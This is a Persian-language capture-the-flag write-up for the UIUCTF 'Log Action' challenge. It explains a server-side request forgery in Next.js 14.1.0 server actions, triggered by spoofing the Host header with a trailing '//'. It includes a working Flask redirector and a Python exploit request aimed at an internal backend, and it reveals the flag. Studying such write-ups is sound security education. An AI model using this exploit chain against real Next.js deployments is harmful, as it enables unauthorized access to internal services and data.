پرش به محتویات

چالش Log Action

توی این چالش به ما دوتا وب سرور دادن که یکی از اون ها که Next.js هستش به صورت پابلیک پابلیش شده ولی وب سروری که فلگ در آن قرار داره پورتش پابلیش نشده و فقط از داخل نتورک داخلی داکر در دسترس هستش

لینک سورس کد چالش

version: '3'
services:
  frontend:
    build: ./frontend
    restart: always
    environment:
      - AUTH_TRUST_HOST=http://localhost:3000
    ports:
      - "3000:3000"
    depends_on:
      - backend
  backend:
    image: nginx:latest
    restart: always
    volumes:
      - ./backend/flag.txt:/usr/share/nginx/html/flag.txt
همانطور که در داکر کامپوز مشخص هست. فلگ در سرویس backend قرار داره ولی پورتی به بیرون پابلیش نشده و فقط از داخل frontend که در دسترس هست میتوانیم به nginx برسیم

بعد از بررسی فایل های next.js ، به طور مستقیم راهی برای اینکه از frontend به backend برسم پیدا نکردم و سعی کردم آسیب پذیری پیدا کنم که منجر به SSRF توی next.js بشه و خوشبختانه یک آسیب پذیری ssrf توی ورژن 14.1.0 پیدا شد

تمامی اطلاعات درباره آسیب پذیری در اینجا قرار دارد

برای اینکه من بتونم ssrf بگیرم باید از action ای توی next استفاده کنم که به مسیری که با / شروع میشه ریدایرکت بشه. چرا؟ به خاطر این کد سمت next.js:

async function createRedirectRenderResult(
  req: IncomingMessage,
  res: ServerResponse,
  redirectUrl: string,
  basePath: string,
  staticGenerationStore: StaticGenerationStore
) {
  res.setHeader('x-action-redirect', redirectUrl)
  // if we're redirecting to a relative path, we'll try to stream the response
  if (redirectUrl.startsWith('/')) {
    const forwardedHeaders = getForwardedHeaders(req, res)
    forwardedHeaders.set(RSC_HEADER, '1')

    const host = req.headers['host']
    const proto =
      staticGenerationStore.incrementalCache?.requestProtocol || 'https'
    const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
    // .. snip ..
    try {
      const headResponse = await fetch(fetchUrl, {
        method: 'HEAD',
        headers: forwardedHeaders,
        next: {
          // @ts-ignore
          internal: 1,
        },
      })

      if (
        headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER
      ) {
        const response = await fetch(fetchUrl, {
          method: 'GET',
          headers: forwardedHeaders,
          next: {
            // @ts-ignore
            internal: 1,
          },
        })
        // .. snip ..
        return new FlightRenderResult(response.body!)
      }
    } catch (err) {
      // .. snip ..
    }
  }

  return RenderResult.fromStatic('{}')
}

وقتی که سمت سرور ریدایرکتی انجام بشه این فانکش کال میشه و نکته جالب این فانکشن این هستش که اگه url با / شروع بشه ، ابتدا یک ریکویست HEAD و اگر content-type ریسپانس برابر با text/x-component باشه ، بعدش به همون url یک ریکویست GET زده میشه و هاست اندپوینت هم از HOST هدر گرفته میشه و بدین ترتیب ما میتونیم ssrf بزنیم

روش اصلی و مورد انتظار طراح سوال به این ترتیب بوده که ما از مسیر /logout استفاده کنیم ، چون در مسیر logout از redirect درون action فورم استفاده شده

import Link from "next/link";
import { redirect } from "next/navigation";
import { signOut } from "@/auth";

export default function Page() {
  return (
    <>
      <h1 className="text-2xl font-bold">Log out</h1>
      <p>Are you sure you want to log out?</p>
      <Link href="/admin">
        Go back
      </Link>
      <form
        action={async () => {
          "use server";
          await signOut({ redirect: false });
          redirect("/login"); # HERE
        }}
      >
        <button type="submit">Log out</button>
      </form>
    </>
  )

ولی از اونجایی که من برای اولین بار بود که با next.js دست و پنجه نرم میکردم ، به این کد logout دقت نکردم و سریع رفتم سراغ این action

"use server";
import { AuthError } from "next-auth";
import { signIn } from "@/auth";
import { redirect } from "next/navigation";

export async function authenticate(
  prevState: string | undefined,
  formData: FormData,
) {
  let foundError = false;
  try {
    await signIn('credentials', formData);
  } catch (error) {
    if (error instanceof AuthError) {
      foundError = true;
      switch (error.type) {
        case 'CredentialsSignin':
          return 'Invalid credentials.';
        default:
          return 'Something went wrong.';
      }
    }
    throw error;
  } finally {
    if (!foundError) {
      redirect('/admin');
    }
  }
}

و تنها راه برای اینکه بتونم به اون redirect توی بلاک finally برسم ، این بود که اون متغیر foundError فالس بمونه و تغییر نکنه ولی از اونجایی که فانکشن signIn اگه password ادمین رو درست وارد نکنی ارور AuthError میده ، پس اون foundError به true تغییر میکنه و ریدایرکتی انجام نمیشه

کد فانکشن signIn

import NextAuth, { CredentialsSignin } from "next-auth";
import Credentials from "next-auth/providers/credentials";
import { z } from "zod";
import type { User } from "next-auth";
import { authConfig } from "@/auth.config";
import { randomBytes } from "crypto";

export const { auth, signIn, signOut } = NextAuth({
  ...authConfig,
  providers: [
    Credentials({
      async authorize(credentials) {
        const parsedCredentials = z
          .object({ username: z.string(), password: z.string() })
          .safeParse(credentials);

        if (parsedCredentials.success) {
          const { username, password } = parsedCredentials.data;
          // Using a one-time password is more secure
          if (username === "admin" && password === randomBytes(16).toString("hex")) {
            return {
              username: "admin",
            } as User;
          }
        }
        throw new CredentialsSignin;
      },
    }),
  ]
});

راهی برای اینکه توی این فانکشن signIn اروری بخوریم که از نوع AuthError نباشه نیست

البته من تلاش کردم که از لایبری zod ارور ZODError بگیرم ولی چون از متد safeParse به جای parse استفاده شده بود. راهی برای این کار هم نبود

بعد از کلی تلاش که راهی برای ریدایرکت کردن پیدا کنم ، به طور اتفاقی موقعی که ریکویست POST به این ACTION میزدم ، اومدم هدر Host رو به https://attacker.com تغییر دادم و متوجه شدم که سمت next.js به ارور UnknownAction خورد و از اونجایی که اون redirect داخل بلاک finally بود . در هر صورت اجرا میشد و اینطوری بود که تونستم ریدایرکت بگیرم ولی به کجا؟ به https!!

اونجا بود که فهمیدم مقدار هدر هاست رو دارم اشتباهی میدم و اون پروتکلشو حذف کردم و attacker.com رو تست کردم ولی متاسفانه دیگه به اون ریدایرکت نرسیدم ولی یه سعی دیگه کردم و // رو به اخر هدر هاست اضافه کردم و دیدم که بعله به ‍attacker.com ریدایرکت شدم

خوندن فلگ

برای اینکه بتونم فلگ رو بخونم باید به وب سرور خودم ریدارکت میکردم و از اون جا به http://backend/flag.txt که backend به ip داکر سرویس backend مپ میشه ریدایرکت میکردم مسیر رو

وب سرور فلسک

from flask import Flask, Response, request, redirect
app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
    if request.method == 'HEAD':
        resp = Response("")
        resp.headers['Content-Type'] = 'text/x-component'
        return resp
    return redirect('http://backend/flag.txt')

app.run(host="0.0.0.0", port=4000)

و برای ریکویست post

import requests


headers = {
    "Host":"attacker-ip:4000//", # the flask server (note to // at the end of host is required)
    "Next-Action":"5cdaa80b9099b9973b11269421a40d52c0e11f31", # the action id of next.js
}
res = requests.post("http://log-action.challenge.uiuc.tf/login", headers=headers, data="{}")

print(res.text)

FLAG 🚩

uiuctf{close_enough_nextjs_server_actions_welcome_back_php}

نویسنده

amir303